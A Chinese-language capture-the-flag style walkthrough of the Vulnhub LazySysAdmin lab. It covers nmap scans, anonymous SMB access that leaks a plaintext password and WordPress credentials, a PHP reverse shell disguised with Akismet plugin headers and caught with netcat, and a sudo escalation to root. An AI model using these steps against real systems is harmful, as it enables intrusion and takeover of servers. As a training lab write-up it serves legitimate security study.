Lazysysadmin靶机笔记

Lazysysadmin靶机笔记

概述

lazysysadmin是一台Vulnhub靶机，整体比较简单，要对一些存在服务弱口令比较敏感。

靶机地址:https://pan.baidu.com/s/19nBjhMpGkdBDBFSnMEDfOg?pwd=heyj
提取码：heyj

一、nmap扫描

1、主机发现

# -sn只做ping扫描，不做端口扫描
sudo nmap -sn 192.168.247.1/24

看到靶机IP地址是192.168.247.138

MAC Address: 00:50:56:FA:CB:D3 (VMware)                                                                
Nmap scan report for 192.168.247.138                        
Host is up (0.00072s latency).  

2、端口扫描

-sT 以TCP全连接扫描，--min-rate 10000 以最低10000速率进行扫描，-p-进行全端口扫描，-o ports结果输出到ports文件中

sudo nmap -sT --min-rate 10000 -p- 192.168.247.138 -o ports     

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-08 10:21 EDT                                                                    
Nmap scan report for 192.168.247.138                                                                                               
Host is up (0.0023s latency).                                                                                                      
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
MAC Address: 00:0C:29:D5:2D:FE (VMware)Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

提取端口

cat 查看文件 grep过滤open字符串 awk 中-F指定分隔符，打印分隔后的第一列，paste -s指定多行拼接，-d指定拼接符

cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ','

结果 22,80,139,445,3306,6667

复制给变了ports

ports=$(cat ports | grep open | awk -F '/' '{print $1}' | paste -sd ',')

3、详细信息扫描

以tcp， 探测版本， 以默认脚本 扫描端口 $ports，探测操作系统版本，输出到details文件中

sudo nmap -sT -sV -sC -p$ports -O 192.168.247.138 -o details# 在输入完$ports按tab键会自动补全端口sudo nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O 192.168.247.138 -o details

结果：

# Nmap 7.93 scan initiated Thu Aug  8 10:27:15 2024 as: nmap -sT -sV -sC -p22,80,139,445,3306,6667 -O -o details 192.168.247.138
Nmap scan report for 192.168.247.138
Host is up (0.00059s latency).PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 b538660fa1eecd41693b82cfada1f713 (DSA)
|   2048 585a6369d0dadd51ccc16e00fd7e61d0 (RSA)
|   256 6130f3551a0ddec86a595bc99cb49204 (ECDSA)
|_  256 1f65c0dd15e6e421f2c19ba3b655a045 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Silex v2.2.7
|_http-title: Backnode
| http-robots.txt: 4 disallowed entries 
|_/old/ /test/ /TR2/ /Backnode_files/
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
| irc-info: 
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.247.128
|_  error: Closing link: (nmap@192.168.247.128) [Client exited]
MAC Address: 00:0C:29:D5:2D:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
|_clock-skew: mean: -3h19m58s, deviation: 5h46m24s, median: 1s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2024-08-09T00:27:30+10:00
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-08-08T14:27:30
|_  start_date: N/AOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug  8 10:27:38 2024 -- 1 IP address (1 host up) scanned in 23.27 seconds

看到目标服务开启了ssh，smb，http，mysql，和irc服务

4、默认脚本扫描

nmap --script=vuln -p22,80,139,445,3306,6667 192.168.247.138 -o vuln

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /wordpress/: Blog
|   /test/: Test page
|   /robots.txt: Robots file
|   /info.php: Possible information file
|   /phpmyadmin/: phpMyAdmin
|   /wordpress/wp-login.php: Wordpress login page.
|   /apache/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
|_  /old/: Potentially interesting directory w/ listing on 'apache/2.4.7 (ubuntu)'
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
6667/tcp open  irc
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
| irc-botnet-channels: 
|_  ERROR: TIMEOUTHost script results:
|_smb-vuln-ms10-054: false
| smb-vuln-regsvc-dos: 
|   VULNERABLE:
|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
|     State: VULNERABLE
|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
|       while working on smb-enum-sessions.
|_          
|_smb-vuln-ms10-061: falseNmap done: 1 IP address (1 host up) scanned in 320.62 seconds

根据优先级，我们应该是先对web做渗透测试，让后一次是smb，mysql，ssh等

二、web渗透

nmap默认漏洞脚本扫描结果出现了几条路径，我们访问一下

192.168.247.138

主页，这里翻看了一下，没有什么有用的信息

192.168.247.138/wordpress/

这里一直在强调My name is togie

togie会不会就是用户名呢，我们先往下看

192.168.247.138/test/
192.168.247.138/apache/
192.168.247.138/old/
192.168.247.138/info.php
192.168.247.138/robots.txt

上面这些都路径没有有用的信息

我们看一下两个登陆页面

http://192.168.247.138/phpMyAdmin/
192.168.247.138/wordpress/wp-login.php

尝试了弱口令，并不能登陆成功

尝试目录爆破，看看还有什么我们遗漏的页面：gobuster 、ffuf、dirb、dirsearch都可以

有兴趣可以熟悉一下命令，这是我们渗透测试应该想到的东西，虽然这次没有有价值信息。

目录爆破出来也是这些页面，并没有什么有价值的信息

web总结：我们发现了一个可能的用户名togie

三、smb服务渗透

1）ssh凭证

smbclient -L 192.168.247.138rename       Type      Comment---------       ----      -------print$          Disk      Printer Driversshare$          Disk      SumshareIPC$            IPC       IPC Service (Web server)
Reconnecting with SMB1 for workgroup listing.Server               Comment---------            -------Workgroup            Master---------            -------WORKGROUP       

我们不知道密码，就用空密码看看能不能访问共享文件

我们最感兴趣的应该是share$目录了，进去看看

smbclient //192.168.247.138/share$

Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> 

进来了，我们翻找一下有用的信息吧

smb: \> dir.                                   D        0  Tue Aug 15 07:05:52 2017..                                  D        0  Mon Aug 14 08:34:47 2017wordpress                           D        0  Fri Aug  9 20:44:17 2024Backnode_files                      D        0  Mon Aug 14 08:08:26 2017wp                                  D        0  Tue Aug 15 06:51:23 2017deets.txt                           N      139  Mon Aug 14 08:20:05 2017robots.txt                          N       92  Mon Aug 14 08:36:14 2017todolist.txt                        N       79  Mon Aug 14 08:39:56 2017apache                              D        0  Mon Aug 14 08:35:19 2017index.html                          N    36072  Sun Aug  6 01:02:15 2017info.php                            N       20  Tue Aug 15 06:55:19 2017test                                D        0  Mon Aug 14 08:35:10 2017old                                 D        0  Mon Aug 14 08:35:13 20173029776 blocks of size 1024. 1313772 blocks available

mget下来

smb: \> mget *.*
Get file deets.txt? y
getting file \deets.txt of size 139 as deets.txt (33.9 KiloBytes/sec) (average 33.9 KiloBytes/sec)
Get file robots.txt? y
getting file \robots.txt of size 92 as robots.txt (29.9 KiloBytes/sec) (average 32.2 KiloBytes/sec)
Get file todolist.txt? y
getting file \todolist.txt of size 79 as todolist.txt (25.7 KiloBytes/sec) (average 30.3 KiloBytes/sec)
Get file index.html? y
getting file \index.html of size 36072 as index.html (7045.2 KiloBytes/sec) (average 2368.6 KiloBytes/sec)
Get file info.php? y
getting file \info.php of size 20 as info.php (9.8 KiloBytes/sec) (average 2091.1 KiloBytes/sec)

查看一下这里只有deets有一些我们用的到的信息

cat deets.txt CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345

给了我们一个password 12345

这会不会是togie的密码呢

2）wordpress凭证

我们接着看smb的/wordpress目录

smb: \wordpress\> ls.                                   D        0  Fri Aug  9 20:44:17 2024..                                  D        0  Tue Aug 15 07:05:52 2017wp-config-sample.php                N     2853  Wed Dec 16 04:58:26 2015wp-trackback.php                    N     4582  Fri Aug  9 10:33:20 2024wp-admin                            D        0  Wed Aug  2 17:02:02 2017wp-settings.php                     N    16200  Thu Apr  6 14:01:42 2017wp-blog-header.php                  N      364  Sat Dec 19 06:20:28 2015index.php                           N      418  Tue Sep 24 20:18:11 2013wp-cron.php                         N     3286  Sun May 24 13:26:25 2015wp-links-opml.php                   N     2422  Sun Nov 20 21:46:30 2016readme.html                         N     7413  Fri Aug  9 10:33:21 2024wp-signup.php                       N    29924  Tue Jan 24 06:08:42 2017wp-content                          D        0  Fri Aug  9 10:56:13 2024license.txt                         N    19935  Fri Aug  9 10:33:21 2024wp-mail.php                         N     8002  Fri Aug  9 10:33:21 2024wp-activate.php                     N     6864  Fri Aug  9 10:33:21 2024.htaccess                           H       35  Tue Aug 15 07:40:13 2017xmlrpc.php                          N     3065  Wed Aug 31 12:31:29 2016wp-login.php                        N    34347  Fri Aug  9 10:33:21 2024wp-load.php                         N     3301  Mon Oct 24 23:15:30 2016wp-comments-post.php                N     1627  Mon Aug 29 08:00:32 2016wp-config.php                       N     3703  Mon Aug 21 05:25:14 2017wp-includes                         D        0  Wed Aug  2 17:02:03 20173029776 blocks of size 1024. 1313868 blocks available

我们看到了wp-config.php、license.txt下载下来查看一下

看到了一组wordpress凭证，我们写进``creds`文件里

四、获得立足点

两组凭据

方式1：ssh凭据

ssh togie@192.168.247.138

方式二：wordpress

登陆进后台首先想到上传插件的方式去反弹shell

这里网上随便找一个php反弹shell的脚本，我找的是pentestmonkey的

随便找一个plugin的头部，添加到我们的反弹脚本里

/*** @package Akismet*/
/*
Plugin Name: Akismet Anti-Spam
Plugin URI: https://akismet.com/
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from spam</strong>. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key.
Version: 3.3.3
Author: Automattic
Author URI: https://automattic.com/wordpress-plugins/
License: GPLv2 or later
Text Domain: akismet
*/

让后打包成zip文件，因为上传只能是zip

zip rev.zip php-reverse-shell.phpadding: php-reverse-shell.php (deflated 58%)

上传安装

成功

本地监听

nc -lvp 4444

访问

192.168.247.138/wordpress/wp-content/plugins/rev/php-reverse-shell.php

收到反弹shell

python -c "import pty;pty.spawn('/bin/bash')"ww-data@LazySysAdmin:/$ uname -a
uname -a
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linuxexport TERM=xterm-color # 可以用clear清屏

翻找flag，有一个togie用户但目录下是空的。我们切换到它

www-data@LazySysAdmin:/home/togie$ su togie
su togie
Password: 12345togie@LazySysAdmin:~$ 

五、提权到root

sudo -l #查看一下

togie的sudo（ALL:ALL)ALL的

直接sudo/bin/bash提权

拿到flag

root@LazySysAdmin:/root# cat proof.txt
cat proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851Well done :)Hope you learn't a few things along the way.Regards,Togie McdogieEnjoy some random stringsWX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851
2d2v#X6x9%D6!DDf4xC1ds6YdOEjug3otDmc1$#slTET7
pf%&1nRpaj^68ZeV2St9GkdoDkj48Fl$MI97Zt2nebt02
bhO!5Je65B6Z0bhZhQ3W64wL65wonnQ$@yw%Zhy0U19pu

总结

1. 我们显示用nmap扫描发现目标开放了22,80,139,445等端口的服务，根据优先级，优先选择web的端口
2. 通过漏洞脚本的扫描我们发现了一些web的路径，通过一个一个的访问，我们发现了一个可能的用户名togie，以及wordpress和phpmyadmin的登陆框
3. 我们利用smb服务发现了togie用户的密码，以及wp的用户名和密码。
4. 通过ssh或者wp的反弹shell，成功获得立足点
5. 利用sudo /bin/bash 命令进行提权到root，拿到flag proof.txt文件